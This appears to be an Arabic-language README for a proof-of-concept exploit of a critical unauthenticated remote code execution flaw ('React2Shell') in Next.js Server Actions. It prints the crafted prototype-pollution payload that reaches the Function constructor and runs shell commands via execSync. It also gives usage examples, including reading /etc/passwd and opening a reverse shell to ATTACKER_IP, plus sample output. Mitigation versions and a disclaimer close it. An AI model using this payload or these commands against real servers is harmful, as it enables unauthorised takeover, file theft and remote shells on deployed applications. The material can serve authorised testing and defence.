CVE-2025-55182 / CVE-2025-66478 (React2Shell) - إثبات اختراق تنفيذ الأوامر عن بُعد (RCE) في Next.js

ثغرة حرجة في إجراءات الخادم (Server Actions) لـ Next.js تتيح تنفيذ أوامر عن بُعد غير مصادق عليه عبر إلغاء تسلسل بروتوكول طيران React (React Flight Protocol)

نظرة عامة

يحتوي هذا المستودع على إثبات اختراق (PoC) للثغرة الحرجة لتنفيذ الأوامر عن بُعد (RCE) التي تؤثر على تطبيقات Next.js التي تستخدم إجراءات الخادم (وظائف خادم React).

وصف الثغرة

توجد الثغرة في كيفية إلغاء تسلسل الأجزاء (chunks) عبر بروتوكول طيران React أثناء معالجة إجراءات الخادم. يمكن للمهاجم استغلال تلويث النموذج الأولي (prototype pollution) عبر بيانات نموذجية مُعَدَّلة لـ:

1. الوصول إلى مُنشئ Function عبر اجتياز سلسلة النموذج الأولي (__proto__)
2. تنفيذ كود JavaScript تعسفي على الخادم
3. تحقيق تنفيذ أوامر عن بُعد كامل دون مصادقة

يحدث هذا قبل أي تحقق من إجراء الخادم، مما يجعله قابلاً للاستغلال على أي تطبيق Next.js مع تفعيل إجراءات الخادم.

التطبيقات المتأثرة

أي تطبيق Next.js يكون عرضة للخطر إذا:

• يستخدم إجراءات الخادم (الوضع الافتراضي في App Router)
• يعمل على Next.js 15.x أو 16.x (أو 14.3.0-canary.77+)
• لا توجد إجراءات تخفيف محددة

الاستخدام

المتطلبات

pip install requests

تشغيل إثبات الاختراق

python3 poc.py <TARGET_URL> "<COMMAND>"

أمثلة

# اختبار تنفيذ الأمر
python3 poc.py http://localhost:3000 "id"

# قراءة ملفات حساسة
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# شل عكسي (للاستخدام المصرح به فقط)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

نموذج الإخراج

$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

يظهر ناتج الأمر في حقل digest.

التفاصيل التقنية

يستغل الإثبات آلية حل الأجزاء الخاصة ببروتوكول طيران React:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

سلسلة الهجوم:

1. اجتياز النموذج الأولي عبر $1:__proto__:then
2. الوصول إلى مُنشئ Function عبر $1:constructor:constructor
3. حقن كود تعسفي عبر حقل _prefix
4. تنفيذ الكود أثناء إلغاء التسلسل (قبل المصادقة)

التخفيف

قم بالترقية فوراً:

npm install next@latest
# أو
pnpm update next

الإصدارات المُصلَّحة: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

ملاحظة: الإصدارات المستقرة Next.js 14.x و 13.x ليست عرضة للخطر.

إخلاء المسؤولية

⚠️ إثبات الاختراق هذا مخصص للأغراض التعليمية واختبار الأمان المصرح به فقط.

الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي استخدام خاطئ.

الإسناد

بناءً على البحث الأصلي لـ @msanft. تعود كامل الفضل في اكتشاف الثغرة وإثبات الاختراق الأولي إليهم.

المراجع

• بحث CVE-2025-55182 الأصلي
• إعلان Next.js الرسمي عن CVE
• تحليل Wiz - React2Shell
• بروتوكول طيران React
• NIST NVD - CVE-2025-55182

الكلمات المفتاحية

Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE